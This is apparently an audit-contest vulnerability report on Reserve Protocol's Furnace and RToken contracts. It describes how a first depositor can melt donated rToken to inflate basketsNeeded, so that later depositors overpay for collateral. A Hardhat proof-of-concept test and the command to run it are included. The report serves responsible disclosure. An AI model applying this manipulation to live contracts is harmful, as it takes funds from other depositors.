Lines of code

https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/p1/Furnace.sol#L65-L79 https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/p1/RToken.sol#L133-L143

Vulnerability details

Impact

If there is "ever" a second depositer he will loose funds

Proof of Concept

First depositer can misuse furnace.melt() to skew basketNeeded & totalSupply such that all subsequent depositers loose funds.

function melt() public {
        ....
        lastPayoutBal = rToken.balanceOf(address(this)) - amount;
        ///@audit ^ sets balance dynamically 
        if (amount != 0) rToken.melt(amount);
    }

Scenario-

First depositer mints some dust amount of rToken lets say 40 (not 40e18)
He then proceeds to transfer half of them to furnace
lets say the ratio of furnace is high and it melts half of these funds in ~2 hours

So now basketsNeeded=40 but totalSupply = 30, i.e baskets needed 33% > totalSupply So now in issueTo() amtBaskets will be 33% greater than what it should be as supply !=0

    uint192 amtBaskets = supply != 0
        ? basketsNeeded.muluDivu(amount, supply, CEIL)
        : _safeWrap(amount);
    emit Issuance(issuer, recipient, amount, amtBaskets);

    // Get quote from BasketHandler including issuance premium
    (address[] memory erc20s, uint256[] memory deposits) = basketHandler.quote(
        amtBaskets,
        true,
        CEIL
    );

and this inflated amtBaskets will be used for input inside quote, leading to asking 33% more collateral than what it originally should but when redeeming it will only give him collateral worth of original amt. i.e if 2nd depositer mints 1000 rToken it will ask him to pay 1333 usd worth collateral tokens & when he redeems it will only give him 1000 usd worth collateral. The coded POC shows how functionalities of protocol like quote() , redeem() will be broken leading to reverts & how only customRedemptions will work alongside with loses. POC-

it('should show second depositer funds loss',async () => {
  // max payout rate
  await furnace.connect(owner).setRatio(bn(1e14));
  await token0.connect(addr1).approve(rToken.address,fp('10000'));
  await token2.connect(addr1).approve(rToken.address,fp('10000'));
  await backingManager.connect(owner).setBackingBuffer(0);
  await basketHandler.setPrimeBasket([token0.address,token2.address],[fp('0.5'),fp('0.5')]);
  await basketHandler.refreshBasket();
  await rToken.connect(addr1).issue(40);
  expect(await furnace.lastPayoutBal()).to.equal(0);
  await rToken.connect(addr1).transfer(furnace.address,20);
  await furnace.melt();

  expect(await rToken.balanceOf(furnace.address)).to.equal(20);
  expect(await furnace.lastPayoutBal()).to.equal(20);
  // 2 hrs pass
  await advanceTime(7800+1);
  console.log("basketsNeeded Before- ",await rToken.basketsNeeded());
  console.log("totalSupply Before- ",await rToken.totalSupply());
  await furnace.melt();
  console.log("basketsNeeded After- ",await rToken.basketsNeeded());
  console.log("totalSupply After- ",await rToken.totalSupply());

  const balancesBefore0 = await token0.balanceOf(addr2.address);
  const balancesBefore2 = await token2.balanceOf(addr2.address);
  console.log("balance0- ",balancesBefore0);
  console.log("balance2- ",balancesBefore2);
  let desiredAmt = fp('1000');
  // second depositer first calls quote-
  const quotedAmts= await basketHandler.quote(desiredAmt,false,bn(2));
  // then approves quoted amounts
  await token0.connect(addr2).approve(rToken.address,quotedAmts.quantities[0]);
  await token2.connect(addr2).approve(rToken.address,quotedAmts.quantities[1]);
  // then calls issue but it reverts
  await expect(rToken.connect(addr2).issue(desiredAmt)).to.be.revertedWith("ERC20: insufficient allowance");
  // now to show that if he gives infinite allowance, he'll loose funds
  await token0.connect(addr2).approve(rToken.address,fp('1000000'));
  await token2.connect(addr2).approve(rToken.address,fp('1000000'));
  await rToken.connect(addr2).issue(desiredAmt);
  console.log("rToken minted- ",await rToken.balanceOf(addr2.address));
  console.log("basketsNeeded After2- ",await rToken.basketsNeeded());
  console.log("totalSupply After2- ",await rToken.totalSupply());
  await rToken.connect(addr2).redeemCustom(
    addr2.address,
    desiredAmt,
    [bn(1)],
    [fp('1')],
    [token0.address,token1.address],
    [0,0]
  )
  // await rToken.redeem(await rToken.balanceOf(addr2.address));
  console.log("Token0 loss- ",(balancesBefore0).sub(await token0.balanceOf(addr2.address)));
  console.log("Token2 loss- ",(balancesBefore2).sub(await token2.balanceOf(addr2.address)));
})

pay attention to the .to.be.reverted() calls, also the first furnace.melt() call is there just to set lastPayoutBal to a non 0 number, in this case it'll be, the melt() call after 2 hours is where the burning happens.

Furnace always need not melt 33% supply, even if he is able to run 1-2%(decreasing wait time for 2nd depositer) losses will be suffered. POC can be ran after adding it to line 266 of Revenue.test.ts with command

PROTO_IMPL=1 npx hardhat test test/Revenues.test.ts --grep "should show second depositer funds loss"

Tools Used

Manual Review

Recommended Mitigation Steps

Keep internal accounting of rToken balance in furnace.sol , which should only be increased when Distributor.sol transfers tokens to it & only by the amount that distributor transferred as distributor already has checks that only contracts within system can call distribute()

Assessed type

Error

code-423n4 / 2024-07-reserve-validation

First depositer in rToken can ensure that second always suffers a loss of funds #154